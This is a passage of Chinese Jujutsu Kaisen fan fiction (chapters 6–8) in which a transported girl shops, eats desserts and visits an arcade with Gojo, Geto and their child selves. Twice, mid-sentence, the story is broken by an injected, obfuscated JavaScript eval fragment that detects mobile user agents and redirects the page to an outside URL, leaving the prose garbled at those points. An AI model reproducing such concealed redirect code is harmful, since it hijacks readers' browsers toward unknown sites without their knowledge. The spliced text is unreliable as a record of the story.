6.童装店风波 沈清荷完全忽略了两对“最强父子”带来的超高回头率。 事实上,他们甚至还没有真正走进商业街中心,就已经收获沿途的大部分视线。 走在最面前的是五条悟。他今天难得没穿高专校服,一身简约休闲装扮,然而那头醒目的白发,即便带着墨镜也遮不住的出众容貌,加上将近一米九的身高,以及浑身散发着“老子天下第一”的独特气场。更不要说此刻,他的怀里还抱着一个容貌与他如出一辙的缩小版自己。 幼年悟穿着昨日初见的那套衣服,尽管衣服上沾着尘土,却依旧精致的像个小手办。只不过那张小嘴从出门起就没停过。 “爸爸,走慢点嘛,妈妈都快跟不上啦!”幼年悟搂着五条悟的脖子指挥道。 “闭嘴!小鬼!再啰嗦老子把你扔下去!”五条悟不耐烦的颠了颠他,但手臂却收的更紧。 “你才舍不得呢!我可是你儿子!”幼年悟有恃无恐,甚至还故意凑到他耳边小声说,“而且爸爸你心跳有点快哦!是不是抱我也觉得很开心?” “你胡说什么?!”五条悟耳根一热,恼羞成怒,做出要松手的动作。 “哇!妈妈!爸爸要摔我!”幼年悟立刻转头向身后的沈清荷告状。 一路见证这对父子“和(ji)谐(fei)相(gou)处(tiao)”沈清荷,默默放慢了脚步。 这种走到哪儿都被围观的感觉,实在让人有点想假装不认识他们。 夏油杰走在五条悟身侧,浅色衬衫衬得他气质温润,黑发半扎,额前那缕刘海随风轻松,唇边带着惯有的浅笑。而他怀里抱着的幼年杰同样也穿着昨天的那套衣服,黑发紫眸安静地靠在夏油杰的肩上,那双眼睛观察着周围的街景和行人,偶尔也会将目光落在她身上。 两对父子,一静一动,形成鲜明对比。 沈清荷则刻意落后几步,跟在他们身后,努力降低自己的存在感。 “快看!那两个小朋友好可爱!” “白发父子简直是复制粘贴,连墨镜都同款!” “黑发父子也是……那孩子好乖,像个小天使。” “后面那个女孩是不是也一起的……” 路人的低语还未说完,就被两道稚气的却格外响亮的童声打断。 “妈妈!” 幼年五夏竟同时转过头,眼巴巴的望着她。 “等下帮我们挑衣服好不好?” “想和妈妈穿一样的!” 话音落下,沈清荷瞬间感到周围投来的掺杂着打量、羡慕、惊讶的数十道目光。 “原来是妈妈?好年轻!” “这一家的基因也太绝了吧。” 身处于暴风中心的沈清荷,却尴尬的能用脚指抠出一座高专来。 她很想对着那些人大声喊一句: 我真的不是他们的妈妈!啊喂! 还没有等她从羞耻中回神,幼年悟已经伸出小手指向一旁的店铺橱窗,声音雀跃: “爸爸你看!是亲子装!我们进去嘛!” 沈清荷顺着幼年悟指的方向望去,橱窗里赫然陈列着一套亲子装。女款是一款蓝色短袖连衣裙,男款则是同色系的简约短裤套装,童装颜色略深一些,三件并排挂着,温馨的有些扎眼。 她刚要开口,就听见幼年杰的声音也响起,“爸爸,我们进去看看吧,我们要穿亲子装。” 没等两位dk反应,两个孩子已经挣脱怀抱,手拉手跑进了店里。 两个漂亮过分的孩子,瞬间吸引导购的注意,再加上后来走进去的五条悟和夏油杰两个人,沈清荷明显发现,那些导购的眼睛顿时又亮了几分。 幼年五夏毫不怯场,仰着小脸指挥着导购,“那套,那套,还有那边挂着的……全部拿下来试试!” 他们一口气选了五款亲子装,其中三套是裙装,两套是裤装。 “妈妈,先试这件!”幼年悟踮着脚把一条蓝色的连衣裙塞进沈清荷手里,眼睛眨呀眨,“我和杰也去换,反正爸爸付钱!” 沈清荷还没有来得及拒绝,就被小家伙推进试衣间,“妈妈快点换!我们和爸爸、父亲马上就好!” 另一边,幼年杰也抱着同色系的男装,走到五条悟和夏油杰面前,仰起小脸,“爸爸和父亲也穿。” 五条悟低着头看着递到眼前蓝色短袖上衣,表情空白了一瞬:“哈?老子为什么要穿这个?” “因为是一家人嘛!”幼年悟理直气壮,“一家人就应该穿的一模一样!” “我和悟,还有妈妈都穿了,爸爸和父亲也要穿。”幼年杰仰头看着站在面前的两个人。 “爸爸和父亲不想要和我们穿的一样吗?” “爸爸和父亲不想和我们是一家人吗?” 幼年五夏的声音几乎是同时响起,两个人看向他们的眼神似乎还带着一丝委屈。 五条悟顿时觉得这两个小鬼。 肯定、绝对是故意的! 夏油杰看着幼年杰手中的那款T恤,又看了一眼站在身侧表情快要裂开的挚友,忽然觉得……穿一下似乎也没有那么难接受。 至少,比站在这里持续被围观好一点。 “哎呀,夫人穿上这个衣服真好看!特别显身材呢~”导购姐姐不知何时已站到沈清荷身边,笑着帮她理了理衣服,“都有两个这么大儿子了,妈妈看起来还这么年轻,真让人羡慕!” 夫人?妈妈? 这个称呼什么鬼啊!她当然年轻,因为她真的才十八岁啊! “妈妈,好漂亮!”幼年五 夏齐声喊道。 五条悟的墨镜滑下半截,苍蓝色的眼睛在沈清荷的身上停留几秒,又迅速把墨镜推回去,别开脸,小声嘟囔一句,“还行吧。” 夏油杰眼中带着毫不掩饰的欣赏,“很适合你,沈小姐。” 只见幼年悟一下抱住五条悟的大长腿,“爸爸你看,妈妈都穿的多好看!你和父亲穿上肯定也特别帅!一家人就要整整齐齐的嘛~” 幼年杰也拉住夏油杰的袖口,眼睛里带着几分期待,“爸爸,父亲试试好不好?” 五条悟一脸嫌弃地拿着衣服走进了试衣间,夏油杰则从容许多。 等他们两个人换好出来,效果再次出乎意料。 五条悟的那套,被他穿出了几分清爽的少年感,虽然脸上的表情不耐,可却意外中和了他平时过于张扬的气场;夏油杰的那套更是将他衬托的温润柔和。 早就换好衣服等在一边的幼年五夏,看见五夏时一脸雀跃着开口,“拍照,拍照!”他伸手拉着导购的衣袖,“姐姐,可以帮忙拍一张全家福吗?” 沈清荷刚想要开口阻止,就看见导购已经熟练地掏出手机,只听见幼年悟的声音再次响起。 “妈妈站在中间,爸爸和父亲站在两边,我和杰蹲在前面。” 一张诡异却又莫名和谐的全家福,就此诞生。 接下来的时间,沈清荷又配合着试了另外四套衣服,从蓝色到黄色到红色,还有背带裤和短裤。 每次她换好衣服出来,都能收获幼年五夏毫不掩饰的惊艳目光,五条悟的六眼扫视,以及夏油杰温和地注视。 让沈清荷有些意外的是,这两位号称“问题儿童天花板”的最强咒术师,竟然真的全程配合下来。 五条悟虽然满脸写着“麻烦”却一次也没有甩手走人,夏油杰更是从容自若,仿佛真的在享受这场突如其来的“家庭换装游戏”。 试衣区外围,不知何时悄悄聚拢了一些女性顾客。她们举着手机,一边偷拍一边压低声音感叹。 “天哪,这一家子的颜值是真实存在的吗?” “是在拍杂志吧!爸爸们的身材也太好了!” “小朋友也太会选了,每套都好看。” “那个白头发爸爸虽然一脸不爽但还是乖乖换了诶,有点可爱怎么回事!” 听着周围顾客那些越来越离谱的“家庭脑补”,沈清荷已经从最初的尴尬到后来的从容不迫。 算了,算了,至少幼年五夏是真的,dk五夏也就站在她触手可及的地方。 至于那个糟糕又令人为之动容的未来,就暂且将它抛诸脑后吧。 至少,此刻的他们,是真实而鲜活的。 等到衣服试好了,就听见幼年悟理直气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041403|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮地开口,“都要了,爸爸,付钱!” 五条悟看着那堆成小山的、各种款式的亲子装,嘴角抽搐,“你当老子是提款机吗?”话虽如此,却还是乖乖拿卡付钱。 最终,他们拎着好几个大购物袋,在店员和围观路人意犹未尽的目光中,近乎逃也似的离开了亲子装店。 购买亲子装之后,幼年五夏先是去了童装店买了几套衣服,又带着她去了女装店买了几套常服,美其名曰:亲子装是外出时候穿的,妈妈还需要自己的衣服。 沈清荷被迫又试了几套衣服,然后再次由五条悟付款购物。 她默默看了一眼身旁的浑身散发着“老子不爽”“莫挨老子”气息的白发少,忽然觉得,回去之后如果不给他多做几份甜品,简直良心不安。 如幼年五夏所想,五条悟又大方的给他们三个人一人买了一个终端。 她的那款渐变色的终端是幼年五夏挑选的,顺便还互相交换了联系方式。 连续逛街试衣消耗不小,当经过一家装潢可爱的甜品店时,幼年悟的脚步瞬间停下。 玻璃窗前,草莓巴菲堆叠的像粉白的小雪山,喜久福可口诱人。 幼年悟的眼睛“唰”的亮了,连带着旁边那位身高一米九的“爸爸”也明显顿了顿。 “爸爸,我要吃草莓巴菲!还有喜久福!” 五条悟的视线也被橱窗里的甜品牢牢吸引视线,这次开口时,连先前那点不耐烦都散了干净,语调里透出几分独属于少年人的鲜活,“老子也要草莓巴菲,还有喜久福!” 他率先推门而入,径直选择了靠窗的位置,随手把购物袋往旁边一放。接着,一大一小两个白毛脑袋几乎同时凑向菜单,点单的内容更是重合的诡异。除了幼年悟的那份分量明显减少之外。 “悟,你点这么多不可能吃完。”夏油杰在他身旁坐下,语气透着习惯性的无奈。 “老子吃得完。”五条悟想也没想就顶了回去,目光瞟向对面正唤着小腿的幼年悟,“再说了,不是还有这个‘儿子’在嘛!” 沈清荷点了一份柠檬挞和双拼冰淇淋,看着那两人面前堆成小山的甜品,忍不住再次扶额。 “妈妈,草莓芭菲超好吃的!你尝尝。”幼年悟挖了满满一勺递到她的面前,“喜久福也超级好吃!” “妈妈,舒芙蕾也很软,要试一下吗?”幼年杰也轻轻将自己的勺子递过来,眼睛里带着几分期待。 沈清荷看着两张写满“快吃快吃”的小脸,只好各自尝了一口。 两个孩子立刻露出心满意足的笑容,仿佛分享成功了什么重大宝藏。 “草莓巴菲的甜度对你来说可能太高了。”沈清荷咽下柠檬挞,看向幼年悟,“回去我可以试试复刻一个低糖版的。” “舒芙蕾也可以自己做,如果小杰想要吃,我回去也能给你复刻。” “清清妈妈你会做甜品?”五条悟的墨镜滑下半截,一双蓝眼睛里带着几分明晃晃的惊讶。 “穿越之前跟闺蜜学过一些,法式、意式都会一点,但更擅长的事中式点心。”沈清荷没有隐瞒,毕竟她之后确实打算把记忆里的那些味道重现出来,那个世界的甜品,就算这里也有,终究不是同样的配方、同样的口感。 “不能保证完全一样,但可以试试。” “那老子要这个芭菲!”五条悟立刻接话,舀了一大勺送进嘴里,声音含糊却雀跃,“需要什么材料跟老子说,让人送过来就行。” 沈清荷望着坐在对面,腮帮微微鼓起的白发少年,眉眼一弯,“好呀!不过给你的那份,糖量保证加够,让‘五条悟’再也忘不掉这个味道。” 五条悟噗嗤笑出声,墨镜后的眼睛弯起肆意的弧度,“行啊!那老子可等着清清妈妈的‘特制版’了!” “五条同学,都说了别叫我‘清清妈妈’!” “可着两个小鬼叫你‘妈妈’,。叫老子‘爸爸’,那老子跟着喊‘清清妈妈’不是理所当然?” 五条悟故意拖长语调,又念了一遍,“清、清、妈、妈——” 沈清荷等了他一眼,最终只能无奈又好气的开口,“鸡掰猫!” 7. 7.另一个未来 “一家五口”在甜品坐下来时,已然成了店里一道靓丽的风景。尤其是那一大一小两个白发的影子。从早上离开高专到刚才的逛服装店为止,除了在服装店难得安静下来之外,两个人基本上都处于斗嘴的状态。 “爸爸,你幼不幼稚呀!”幼年悟伸手就去够五条悟碟子甜品上的草莓,声音拖得长长的,“明明我才是小孩子,你也不知道让让我。” “哈?”五条悟眉梢一挑,出手就去抢草莓,却到底没能拦住那只小手。眼睁睁的看着草莓被塞进对方嘴里。 他勾起唇角,一把将幼年悟面前那份喜久福整个塞进口中,“老子凭什么让你?就凭你是我‘儿子’?” “爸爸耍赖!那是我的!”幼年悟扑过去抢他手里的另一份,却被他高高举起,顺势又是一口,还故意吃的很慢很响。 “抢、不、到。”五条悟舔了舔唇角,笑得灿烂又欠揍,“就算你是我‘儿子’,老子也不让!” 坐在一侧的幼年杰轻声叹口气,目光从五条悟和幼年悟身上收回,语气里透着几分无可奈何,“妈妈,你看他们是不是太幼稚了。” 他顿了顿,又仰起脸,朝对面的夏油杰露出一个乖巧地笑容,“妈妈放心,我和爸爸肯定不会这样。对吧,爸爸?” 被点到名的夏油杰唇角温和的弧度僵了一瞬,随即恢复如常,抬手揉了揉幼年杰的突发,“嗯。他们确实太幼稚了。” 他的声音一如既往的平稳温和,唯有在目光掠过身侧那一大一小两个白毛时,眼底才飞快的掠过一丝“这家伙没救了”的淡淡笑意。 沈清荷吃完面前的柠檬挞,刚拿起冰淇淋勺,就听见幼年五夏的声音同时响起。 “妈妈,我们也要吃冰淇淋!” 她转头看向坐在身侧一左一右的两个人,不由一笑,很自然的舀起一勺芒果冰淇淋递到幼年悟嘴边,又转向幼年杰喂去一勺巧克力的。 “妈妈,好好吃!”两人眯起眼睛,腮帮子鼓鼓的,满脸都是纯粹的快乐。 沈清荷心尖一软,伸手轻轻捏了捏他们的脸颊,“喜欢呀?等到夏天,我亲手给你们做冰淇淋好不好?以前在我的世界,每年夏天我都会和闺蜜一起做很多种口味,冻得满冰箱都是。只要有模具,就能做出各种可爱形状的雪糕。” “我要吃!”幼年五夏的眼睛霎时亮了,一左一右抱着她的胳膊晃啊晃,“妈妈要一直一直给我们做。” “好好好!一直做。”沈清荷被他们蹭的心里发暖,拍了拍两人的后背,声音放得更柔,“今晚如果回去得早,就给你们做菠萝古老头、糖醋里脊、口水鸡和肉末豆腐。要是晚了,就明天中午做,好不好?” “好耶!”幼年五夏开心的击掌。 沈清荷未曾察觉到,自己指尖触碰孩子脸颊的温度,掌心轻抚他们后背的轻柔,正透幼年五夏的“共感”清晰地传递到了对面的dk们。 五夏极快的对视一眼,彼此都从对方眼中读出同样的信息。 她不知道。不仅不知道,他们还必须假装若无其事,甚至不能让她有所察觉。 五条悟忽然抬手,有些烦躁的揉了揉自己的头发。 这种黏糊糊、暖洋洋的感觉,到底为什么会传递给他们? 这两个小鬼又到底是谁? 在甜品店短暂的休息后,他们将购物袋寄存在商场的储物柜里。幼年五夏拉着沈清荷先去采购生活用品、同款的牙刷、被子、甚至就连毛巾全都按照幼年五夏的喜好选择了亲子款。 “买这么多不好吧。毕竟我在这个世界身无分文。”看着眼前逐渐堆起来的购物车,她翻了翻口袋,“甚至就连刚才的终端都是五条同学‘赞助’的。” “爸爸有钱呀!”幼年悟说的理直气壮,“爸爸的钱,不就是该给妈妈用的吗?” “妈妈不用担心。”幼年杰说着也拉住她的衣袖,语气温和笃定,“父亲很有钱的。就算父亲没有,爸爸也肯定有。” 沈清荷:??? 你们两个小鬼能不能不要用这么天真无邪的表情,说出如此“震撼人心”的话啊! “走啦走啦,妈妈!我们去那边买零食!”没给她消化这话的时间,两个孩子一左一右拉住她的手,不由分说就把她带向琳琅满目的零食区。 “妈妈,这个薯片超级好吃,是新出款,口味超棒!”幼年悟说着就把几种不同口味的薯片放到手推车里。 两个小家伙的身影就在零食区到处乱跑,每次回来的时候手里都拿着各种各样不同口味的零食。 然而,在沈清荷没有注意到的地方,五夏的神色几不可察的变了一下。 那些被孩子自然而然选中的零食,无一例外,精准对应着他们各自私底下偏爱,甚至不曾对外言明的口味。 这已经远远超出了“共感”能够解释的范畴。 幼年五夏的这种行为,一个想法在他们的脑海深处油然而生。 眼前的这两个小鬼,好像是未来的“他们”,亦或者说是某一种可能性。 如果真的是这样,那么就能解释为什么他们同名同姓、术式相同、甚至就连口味和偏爱都一模一样。 如果真的是这样,那么未来的“他们”或者说某一种可能性的“他们”,又为什么会称呼沈清荷“妈妈”,称呼他们为“爸爸”和“父亲”。 这个称呼背后,究竟连接着一段什么样的他们尚未知晓的“未来”? “小悟,买这么多零食会吃不完的。”沈清荷看着手推车里被塞得满满当当都是两个人的零食时,露出一个无奈的笑容。 “不会的!”幼年悟扒着购物车边缘,“因为爸爸也喜欢吃这些呀。”他说着,还特意转过头,看向身后几步外那个单手插兜的高挑身影,“对吧,爸爸?” 五条悟不耐烦的“啧”了一声,移开了视线,却罕见的没有出口反驳。 无法否认。那些被小家伙一股脑丢进车里的零食,的确都是他私下常买的口味,甚至有几样称得上偏爱。 “妈妈,妈妈!”走到食品区时,两个孩子又几乎同时拉住她的衣角,声音里满是期待,“我们想吃你做的中式点心!” “好呀。”沈清荷弯下腰,“想吃什么?” “豌豆黄!” “栗子糕!” 两个声音一前一后的响起,答案却不一样,跟在后面的五夏闻言,不约而同的露出些许疑惑的表情。 “豌豆黄是什么?”夏油杰温和的开口询问。 “是用豌豆做的点心,口感细腻绵密,非常好吃!”幼年悟抢着解释,小脸上写满“超好吃”的肯定,还不忘补充一句,“比毛豆生奶油喜久福还好吃呢!” 沈清荷的目光落在五夏身上,像是随口分享,又像是一个无关紧要的承诺,“明天我会做一些,到时候你们可以尝一尝,而且现在正好是樱花季,可以用樱花入食给你们做好吃的。” “好耶!”幼年五夏再次雀跃着开口。 她站在展示台前,按照记忆中的配方,仔细挑选着制作豌豆黄和栗子糕的所需要的食材,超市暖色的灯光落在她的侧脸上。 五夏的目光不约而同的落在她身上。 看着她的背影,两个人的脑海中回想着从昨天到今天发生的一切。 从初遇时,她就一直没有把他们当做是“六眼”和“咒灵操使”。甚至都没有在意他们“最强”的身份,如果她真的在意,哪怕有一点对他们心存畏惧,都不会在早上晨练时提出要和五条悟对练。 好像在她的眼里,他们就好像只是两个会因为任务繁琐而皱眉、会为小事斗嘴、有着真实喜怒的只属于真正十六岁的五条悟和夏油杰。 “爸爸,妈妈很好看吧。” 几乎重叠的声音响起,打断了他们的思绪。 幼年悟仰头看向那双与自己如出一辙的蓝色眼睛里,带着几分孩子气的促狭,“妈妈一直都是这么温柔的哦,温柔到好像能包容下所有的一切。” 温柔到,在未来的某个时刻,愿意为他们倾尽所有。 幼年杰则拉住了夏油杰的衣袖,声音虽轻,却清晰,“妈妈做的点心真的很好吃。爸爸和父亲执行任务那么辛苦,偶尔停下来,享受一下这样的日常,也很好。” “啰嗦!” 五条悟别开脸,声音透着一股没由来的烦躁。或许是因为“共感”带来的些许燥意,或者是早上在他看来那份软绵绵的对练,亦或者是那份意料之外合乎胃口的炒饭和甜品,种种细碎的感觉混在一起,让他的目光不由自主的在沈清荷的侧脸上停留几秒,又快速的移开。 “这里有不错的冰淇淋粉,你们要吃吗?” 听着沈清荷响起的声音,幼年五夏雀跃的回应,“要吃!” 沈清荷听着幼年五夏的话,每种口味都挑选了一种。 幼年悟看着站在面前的五条悟,张开手臂,“爸爸我走累了,要抱。” 五条悟垂眸瞥了他一眼,脸上明明白白写着“麻烦”,却还是伸手一把将小家伙抱了起来。幼年悟顺势搂住他的脖子,将小脸埋在他的肩颈处。然后,用一种近乎挑衅的、只有两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041404|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人能听清的声音轻轻说。 “爸爸,你刚才是不是有那么一瞬间,觉得妈妈特别有趣?就像你这对枯燥的要死的祓除任务里,突然冒出来的一颗会发的、不太一样的小石头?” 石头?五条悟的神色一滞。 这明明是他昨天晚上只对杰说过的话,这个小鬼怎么会知道? “你胡说什么!”五条悟想也没想,矢口否认,声音却压得极低,“我才没有!她充其量就是一颗会报警的小石头,无聊的很。” 幼年悟抬起头,苍蓝色的瞳孔静静望着dk版自己。那眼神没有孩童的嬉闹,反而沉淀着一种五条悟完全看不懂,沉重的悲伤,可他的语气却异常笃定。 “不,你有。” “你觉得她有趣。哪怕现在的她,在你看来只是一颗会报警的小石头。” 最初,你会被这份“有趣”吸引,然后,喜欢上,爱上。甚至甘愿将那句笃信的“爱是最扭曲的咒灵”彻底抛诸脑后。 她将会成为你往后十年人生里,唯一的乐趣与锚点。是她让你终于明白,这个世界不仅仅可以有“最强”、“神子”“六眼”,甚至只可以是“五条悟”,单纯的仅仅是做为“五条悟”这个“人”而活着。 “小鬼。”五条悟蹙着眉头。刚才那一瞬,从这个孩子身上流泻出的、几乎凝成实质的悲伤,让他感到一阵莫名的心悸,“你知道什么?” “我什么都不知道哦。爸爸。”幼年悟脸上的神情眨眼间便恢复属于六岁孩童的纯真模样,仿佛刚才沉重的悲伤从未存在。 他咧嘴笑着,声音清脆,“我就是实话实说嘛!因为妈妈,本来就是全天下最温柔的人。” 另一侧,幼年杰也向夏油杰伸出小手。相较于五条悟的不耐烦,夏油杰倒是从容不迫的抱起幼年杰,黑发紫眸的孩童趴在夏油杰的肩头,柔软的黑发蹭着夏油杰的颈侧,随即,一道轻得如同耳语的声音悄悄响起,“爸爸,你觉得妈妈是一个温柔的人吗?” 夏油杰脚步未停,目光依旧温和的落在前方挑选食材的身影上,声音平缓,“为什么会这么问?不过,如果非要形容,沈小姐确实给人一种非常温柔的感觉。” “所以,爸爸一定要记住现在这种感觉哦。”幼年杰的声音更轻了,轻得近乎叹息,“妈妈的温柔是能够包容下一切的那种。” 她将会是你未来走上那条“大义”之路时,唯一还能拉住你手的人。当日复一日吞下咒灵玉的苦涩与厌恶侵蚀内心,当偏执的阴影悄然滋长,当“创造一个只有咒术师的世界”这个念头变得无比诱人时,她是唯一能够让你停下脚步,回望来路的光。 是她让你最终明白,这个世界容许你不只是“最强”搭档的一部分,不只是“咒灵操使”,你可以仅仅是“夏油杰”作为“人”完整的、踏实的活下去。 【那家伙想要占据我的脑子来控制你们,创造新世界?想得美。我绝不允许!】 【对不起。】 【要好好活下去。】 【替我守着这个世界,这是我们共同创造的新世界。】 他敏锐的捕捉到从怀中这具小小的,温热的身躯里,正溢出一股绝非六岁孩童应有的,难以言喻也无法自抑的悲伤。那悲伤如此真切,甚至让他心口随之一窒。 夏油杰停下脚步,稍稍将孩子拉开些许,紫眸看着幼年杰的眼睛,语气依旧平缓,却带着不容回避的探究,“你知道些什么?” 幼年杰眨眨眼,脸上瞬间漾开属于孩童的、毫无阴霾的明亮笑容,仿佛刚才那低沉的情绪流露只是他人眼中的错觉,“我什么都不知道呀!我只知道妈妈是全天下最温柔的人,我和悟,最爱妈妈了!” 沈清荷正低头比对着手里的抹茶粉,忽然感觉到身后有几道视线落在她身上。 她下意识的回过头,暖融融的灯光下,正好对上四位“五条悟”和“夏油杰”的目光。 她微微怔了怔,随即眉眼一弯,朝他们露出一个温和明媚的笑容,晃了晃手中的食材。 “我还买了做舒芙蕾和草莓巴菲的材料哦,答应过要给你们复刻的。” “好耶!妈妈最棒了!”幼年五夏的声音几乎是异口同声的响起。 小清/清清。 至少在这一刻,你站在我们我们触手可及的地方。 而这一次,我们绝不会再让你经历那些事。 我们,连同这个世界的“我们”,一定会改变那样的未来,让你继续用这样温柔地方式,构建属于“最强”之下属于“人”的那份足以令人心悸的日常。 8. 8.纯粹的快乐 从超市满载而归后,沈清荷原本打算提前返回高专,可幼年五夏却一左一右拉着她的手。 “妈妈,我们接下来去那里。”幼年悟仰头,指向商场高处闪烁着炫光的指示牌。 游戏中心。 沈清荷尚未开口,幼年悟已经晃了晃她的手,“咒术师每天都是祓除、祓除、祓除,超无聊的!”他拖长语调,眼睛却亮晶晶望过来,“正好让爸爸和父亲也放松一下嘛。” 这是,一旁的幼年杰轻声接话,语气温和却带着几分执着,“妈妈不是说过,想让他们多体验‘日常’吗?” 沈清荷低头看向两个孩子,又将目光落在身后不远不近跟着他们的五夏身上。 他们两个人一个双手插兜,姿态随意,一个面带微笑目光平静。 是啊,他们是最强。 是未来需要扛起整个咒术界压力、在无数血腥与黑暗中跋涉的最强。 可此刻,站在这灯火通明、人群熙攘的商场门口,他们终究也只是两个十六岁的少年。会为甜品口味斗嘴、会偷偷吐槽任务无聊、会在训练后流汗喘息。 他们此刻所见,或许还不是咒术界全部的真实与残酷。那足以让信念动摇、让道路分歧的阴影,或许刚刚萌芽,尚未能撼动他们此刻心中的“大义”。 等到一切都清晰显现,等到无法挽回的裂痕产生,那并肩而行的背影,是否还能像现在这样,因为一份甜品、一次玩笑,露出这般属于少年的、鲜活生动的神情? 沈清荷压下心中瞬间翻涌的情绪,在抬头时,眉眼含笑的看向身侧的幼年五夏,带着几分纵容,“好啊!那我们去玩。今天就当是难得的‘最强放风日’,不止你们,五条同学和夏油同学也一样。” “好耶!”两个孩子雀跃的声音几乎同时响起。 话音刚落,幼年五夏已经直接转身去拉身后的五夏,动作自然的仿佛根本不需要征求对方的同意。 “喂,老子多少年没来过这种地方了啊!”五条悟嘴上说着,却任由幼年悟把自己拽向灯火闪烁的游戏厅入口。 另一侧,夏油杰也被幼年杰拉了进去,他嘴角含笑,并未拒绝。 兑换游戏币,这两对容貌出众、气质迥异却又奇妙相似的“父子”,很快吸引了周围游客的视线,因为能听见压低却雀跃的议论声,不少女性顾客,或者该说是“妈妈们”已经悄悄举起了手机。 “两个孩子太可爱了吧。” “连墨镜都是同款!这一家人的基因也太强了!” “好好奇,妈妈长什么样,能生出这么漂亮的孩子,妈妈一定也特别好看。” 沈清荷听着周围顾客的议论,正想要转身远离风暴中心时,就听见幼年五夏的声音几乎同时响起。 “妈妈,快来!爸爸和父亲在比赛!” 她脚步一顿,还没有来得及装作没听见,幼年五夏已经小跑着折返,一左一右握住她的手,将她轻轻往前带。 下一刻,她清楚的感受到,周围数十道目光落在她身上。 “果然妈妈也超漂亮!我就说能养出这么好看的孩子,妈妈一定也是美人。” 沈清荷红着脸被幼年五夏一左一右的牵着手,向赛车游戏机的方向走去。屏幕前,五条悟和夏油杰几乎同时冲过终点线,胜负只在毫厘之间。 结束后,五条悟看向幼年悟,“来一场?” “来就来!”幼年悟毫不怯场的坐上驾驶座。 过程中,小家伙的嘀咕和“战术干扰”就没停过,可惜没能影响到五条悟,最终五条悟略胜一筹。 “妈妈,爸爸欺负我!”幼年悟一把抱住沈清荷的腿,仰起脸理直气壮地告状。 “哈?玩游戏还要老子让你?”五条悟伸手拎起幼年悟的衣领,墨镜滑下一点,露出那双与幼年悟一模一样的苍蓝之瞳,“输就输了,还带找妈妈?” “妈妈你看!爸爸不仅欺负我,还拎我脖子!”幼年悟在半空中蹬了蹬腿,脸上却看不出半点害怕。 看着这一大一小如出一辙的较真模样,沈清荷眼里漾开无奈的笑容。 她上前两步,接过被拎起的孩子,顺手揉了揉他柔软白发,“好啦,输了下次再赢回来嘛。” 沈清荷没有注意到她在揉幼年悟的头发时,他自己也烦躁的揉了揉头发。 幼年悟顺势趴在她肩头,小脑袋一转,忽然看见不远处人烟稀少的跳舞机区域,眼睛倏地亮了。 “妈妈,我们去玩那个吧!”他伸手指去。 沈清荷转身,看见熟悉的机器。闪烁的箭头踏板,立视屏幕,刹那间勾起遥远又清晰的回忆。 穿越之前,高中时代的周末,她常拉着青梅竹马的颖颖宝贝在游戏厅的跳舞机上流连一下午。 市中心的大型游戏厅,永远少不了她们两个人的身影。安沫姐、悠悠、姝姝、悦悦总是围在一旁,为站在屏幕前的她们两个人欢呼喝彩。 至今各大游戏厅的跳舞机的记录榜常年挂着她们的名字。 偶尔记录被刷新,刷新者,也只会是她们自己。 “我会哦。”沈清荷眉眼弯弯,看向怀里的幼年悟,声音里带着一丝难得的轻快,“玩的还不错。” 沈清荷抱着幼年悟向跳舞机的方向走去,将他放下,随后在曲目列表中毫不犹豫地选了难度最高的那首。 音乐前奏响起,第一组箭头在屏幕上迅速滑过。 沈清荷动了。 她的步伐精准、利落,没有丝毫犹豫,每一个动作都完美契合屏幕上闪现的指令。 激昂的电子提示音接连不断的响起,屏幕上连击数迅速攀升,分数爆涨。 “哇!快看!那个女生!” “这精准度,是职业玩家吗?” “好帅!她跳的真好!!” “在玩最高难度的那首!我的天,那个速度!” 围观的人渐渐多了起来,不少人拿出手机拍摄,交谈声和议论声夹杂在音乐中。 五条悟和夏油杰不知何时已经站到人群前列。 幼年五夏早已挤到最前面,小脸激动地发红,大声喊着,“妈妈加油!妈妈最棒!” 歌曲进入高潮部分,节奏愈发密集。沈清荷额角渗出细密的汗水,但她的眼神却越来越亮,嘴角带着一抹畅快的笑意。 她的动作幅度很大,一个漂亮的旋转接连续踏步,引得周围一阵惊叹。 最终,音乐在一声重音中戛然而止。 沈清荷用一个利落的定点姿势收尾,微微喘息,胸口起伏。 屏幕上,赫然跳出了金光闪闪新纪录的字样,分数高的惊人。 短暂的寂静后,周围爆发出更热烈的掌声。 回过神来的沈清荷,意识到自己成为焦点。 她眉眼含笑将散落的头发拢到耳后,快速的从跳舞机上下来。 她刚下来,幼年五夏就已经扑过来抱住她的腿。 “妈妈太厉害了!是新的记录!”幼年悟仰着头,墨镜后的苍蓝之瞳璀璨生辉。 “嗯!超级厉害!”幼年杰也用力点头,脸上满是毫不掩饰的崇拜。 沈清荷还没来得及弯腰回应,五条悟的声音传来,语调拖着惯有的漫不经心,却藏着一点难得的、近乎赞赏的意味,“还行嘛,清、清、妈、妈。”他故意将称呼念得缓慢而清晰,唇角勾着戏谑的弧度,“没想到你还有这一手。” 夏油杰也随之走近,递来一张纸巾,笑容温和,“非常精彩的表演,沈小姐。”他顿了顿,声音轻缓,“令人印象深刻。” 沈清荷接过纸巾,她擦拭着额头和颈间的汗水,在抬头时,扬起一抹明亮的、带着小小得意的神采,“那是当然!”语气里透着久违的、属于她自己的骄傲,“在这方面,我可是很厉害的!” 周围的人群渐渐散去,但看向她的目光里却带着残留的惊艳。 